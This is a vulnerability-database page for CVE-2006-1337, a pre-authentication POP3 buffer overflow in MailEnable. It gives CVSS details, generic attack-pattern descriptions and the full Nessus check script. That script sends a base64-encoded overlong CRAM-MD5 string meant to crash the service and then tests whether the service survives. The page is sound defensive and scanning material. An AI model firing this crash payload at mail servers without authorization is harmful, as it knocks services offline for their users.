Vulnerabilities > CVE-2006-1337 - Improper Restriction of Operations Within the Bounds of A Memory Buffer vulnerability in Mailenable

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
mailenable
CWE-119
nessus
NVD
Published: 2006-03-21
Updated: 2017-07-20

Summary

Buffer overflow in the POP 3 (POP3) service in MailEnable Standard Edition before 1.93, Professional Edition before 1.73, and Enterprise Edition before 1.21 allows remote attackers to execute arbitrary code via unknown vectors before authentication.

Vulnerable Configurations

Part Description Count
Application
Mailenable
55

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Overflow Buffers
    Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attackers' choice.
  • Client-side Injection-induced Buffer Overflow
    This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.
  • Filter Failure through Buffer Overflow
    In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).
  • MIME Conversion
    An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.

Nessus

NASL familyWindows
NASL idMAILENABLE_POP_AUTH_FLAWS.NASL
descriptionThe remote host is running MailEnable, a commercial mail server for Windows. The POP3 server bundled with the version of MailEnable on the remote host has a buffer overflow flaw involving authentication commands that can be exploited remotely by an unauthenticated attacker to crash the affected service and possibly to execute code remotely. In addition, it reportedly has a cryptographic implementation mistake that weakens authentication security.
last seen2020-06-01
modified2020-06-02
plugin id21117
published2006-03-22
reporterThis script is Copyright (C) 2006-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/21117
titleMailEnable POP3 Server Authentication Vulnerabilities
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(21117);
  script_version("1.16");
  script_cvs_date("Date: 2018/11/15 20:50:27");

  script_cve_id("CVE-2006-1337");
  script_bugtraq_id(17162);

  script_name(english:"MailEnable POP3 Server Authentication Vulnerabilities");
  script_summary(english:"Tries to crash MailEnable POP3 Server");

  script_set_attribute(attribute:"synopsis", value:
"The remote POP3 server is affected by two authentication issues." );
  script_set_attribute(attribute:"description", value:
"The remote host is running MailEnable, a commercial mail server for
Windows. 

The POP3 server bundled with the version of MailEnable on the remote
host has a buffer overflow flaw involving authentication commands that
can be exploited remotely by an unauthenticated attacker to crash the
affected service and possibly to execute code remotely. 

In addition, it reportedly has a cryptographic implementation mistake
that weakens authentication security." );
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2006/Mar/1286" );
  script_set_attribute(attribute:"see_also", value:"http://www.mailenable.com/hotfix/default.aspx" );
  script_set_attribute(attribute:"solution", value:
"Apply the ME-10011 hotfix or upgrade to MailEnable Standard Edition
1.93 / Professional Edition 1.73 / Enterprise Edition 1.21 or later" );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"plugin_publication_date", value: "2006/03/22");
  script_set_attribute(attribute:"vuln_publication_date", value: "2006/03/20");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:mailenable:mailenable");
  script_end_attributes();
 
  script_category(ACT_DENIAL);
  script_family(english:"Windows");
  script_copyright(english:"This script is Copyright (C) 2006-2018 Tenable Network Security, Inc.");
  script_dependencies("find_service_3digits.nasl", "doublecheck_std_services.nasl");
  script_require_ports("Services/pop3", 110);

  exit(0);
}


include("misc_func.inc");
include("pop3_func.inc");


port = get_kb_item("Services/pop3");
if (!port) port = 110;
if (!get_port_state(port)) exit(0);


# Make sure banner's from MailEnable and APOP is enabled.
banner = get_pop3_banner(port:port);
if (!banner) exit(0);
if (!egrep(pattern:"^\+OK .+ MailEnable POP3 Server <.+@.+>", string:banner)) exit(0);


# Establish a connection.
soc = open_sock_tcp(port);
if (!soc) exit(0);

s = recv_line(socket:soc, length:1024);
if (!strlen(s))
{
  close(soc);
  exit(0);
}


# Try to exploit the flaw to crash the service.
c = "AUTH CRAM-MD5";
send(socket:soc, data:string(c, "\r\n"));
s = recv_line(socket:soc, length:1024);
if (strlen(s) && s =~ "^\+ ")
{
  c = string(crap(data:"A", length:400), "@", get_host_name(), " AAAAAAAAAAAAAAAAAAAAA");
  c = base64(str:c);
  send(socket:soc, data:string(c, "\r\n"));
  s = recv_line(socket:soc, length:1024);
  close(soc);

  if (!strlen(s)) {
    sleep(5);

    # Try to reestablish a connection and read the banner.
    soc2 = open_sock_tcp(port);
    if (soc2) s2 = recv_line(socket:soc2, length:1024);

    # If we couldn't establish the connection or read the banner,
    # there's a problem.
    if (!soc2 || !strlen(s2)) {
      security_hole(port);
      exit(0);
    }
    close(soc2);
  }
}

References